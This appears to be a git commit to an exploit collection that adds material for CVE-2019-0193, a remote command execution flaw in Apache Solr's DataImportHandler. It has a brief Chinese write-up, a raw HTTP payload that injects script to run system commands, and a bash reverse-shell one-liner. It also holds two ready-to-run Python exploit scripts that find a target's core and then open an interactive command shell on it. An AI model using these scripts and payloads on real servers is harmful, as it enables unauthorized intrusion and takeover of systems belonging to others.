add CVE-2019-0193(Apache Solr RCE)

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helloexp 2022-08-25 17:59:47 +08:00
parent 2f741724c3
commit 8e93029df5
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## 漏洞概述
此次漏洞出现在Apache Solr的DataImportHandler该模块是一个可选但常用的模块用于从数据库和其他源中提取数据。
它具有一个功能其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。
由于DIH配置可以包含脚本因此攻击者可以通过构造危险的请求从而造成远程命令执行
### CVE
CVE-2019-0193
### 影响范围
```http
Solr < 8.2.0
```
### POC
```bash
python poc.py
```
### EXP
方法一
```bash
python3 exp.py <url>
```
方法二
访问`http://ip:8983/`Apache solr的管理页面无需登录默认未开启鉴权认证
```http
POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 585
Connection: close
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("echo '666' > ./666.txt");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
```
```bash
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1
```
如直接如上写入反弹无反应需要base64加密写才能反弹一个shell

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#coding=utf-8
import requests
import sys
import json
import urllib.parse
if len(sys.argv)!=2:
print('+ USE: python3 cve-2019-0193.py <url> +')
sys.exit(0)
url = sys.argv[1]
vuln_url = url + "/solr/test/dataimport"
cmd = "whoami"
#get core name
core_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
try:
r = requests.request("GET", url=core_url, timeout=20)
core_name = list(json.loads(r.text)["status"])[0]
print ("[+] GET CORE NAME: "+url+"/solr/"+core_name+"/config")
except:
print ("[-] Target Not Vuln Good Luck")
sys.exit(0)
#check mode
mode_url = url + "/solr/" +core_name+ "/admin/mbeans?cat=QUERY&wt=json"
r = requests.request("GET", url=mode_url, timeout=20)
mode = dict(dict(list(json.loads(r.text)["solr-mbeans"])[1])['/dataimport'])['class']
if "org.apache.solr.handler.dataimport.DataImportHandler" in mode:
print ("[+] FIND MODE: "+mode)
else:
print ("[-] Target Not Vuln Good Luck")
sys.exit(0)
exp_url = url + "/solr/" +core_name+ "/dataimport"
headers = {
'Host': "localhost:8983",
'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
'Accept': "application/json, text/plain, */*",
'Accept-Language': "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
'Accept-Encoding': "zip, deflate",
'Referer': ""+url+"/solr/",
'Content-type': "application/x-www-form-urlencoded",
'X-Requested-With': "XMLHttpRequest",
'Content-Length': "1007",
'Connection': "close"
}
def do_exp(cmd):
payload = """
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("%s").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\\n\\r"));
return row;
}
]]></script>
<document>
<entity name="entity1"
url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
""" % cmd
r = requests.request("POST", url=exp_url, data=payload, headers=headers, timeout=30)
try:
get_r = list(json.loads(r.text)["documents"])[0]
q = dict(get_r)['title']
print (q)
except:
print ("[*] Please wait... ... (About 1 minute)")
while 1:
cmd = input("Shell >>> ")
if cmd == "exit" : exit(0)
do_exp(cmd)

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#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import requests
import sys
import json
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Apache Solr < 8.2.0 \033[0m')
print('+ \033[36m使用格式: python3 CVE-2019-0193.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8983 \033[0m')
print('+ \033[36mCmd >>> whoami(命令执行) \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
try:
response = requests.request("GET", url=core_url, timeout=10)
core_name = list(json.loads(response.text)["status"])[0]
print("\033[32m[o] 成功获得core_name,Url为" + target_url + "/solr/" + core_name + "/config\033[0m")
return core_name
except:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
sys.exit(0)
def POC_2(target_url, core_name):
mode_url = target_url + "/solr/" + core_name + "/admin/mbeans?cat=QUERY&wt=json"
response = requests.request("GET", url=mode_url, timeout=20)
mode = dict(dict(list(json.loads(response.text)["solr-mbeans"])[1])['/dataimport'])['class']
if "org.apache.solr.handler.dataimport.DataImportHandler" in mode:
print("\033[32m[o] 目标Url,Dataimport模块开启\033[0m")
else:
print("\033[31m[x] 目标Url,Dataimport模块未开启\033[0m")
sys.exit(0)
def POC_3(target_url, core_name, cmd):
vuln_url = target_url + "/solr/" + core_name + "/dataimport"
headers = {
'Host': target_url,
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
'Accept': "application/json, text/plain, */*",
'Accept-Language': "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
'Accept-Encoding': "zip, deflate",
'Referer': "" + target_url + "/solr/",
'Content-type': "application/x-www-form-urlencoded",
'X-Requested-With': "XMLHttpRequest",
'Content-Length': "1007",
'Connection': "close"
}
payload = """
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("%s").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\\n\\r"));
return row;
}
]]></script>
<document>
<entity name="entity1"
url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
""" % cmd
response = requests.request("POST", url=vuln_url, data=payload, headers=headers, timeout=30)
try:
get_message = list(json.loads(response.text)["documents"])[0]
message = dict(get_message)['title'][0]
print("\033[32m[o] 漏洞成功利用,响应为\n \033[0m", message)
except:
print("\033[31m[x] 代码执行失败 \033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
core_name = POC_1(target_url)
POC_2(target_url, core_name)
while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
exit(0)
else:
POC_3(target_url, core_name, cmd)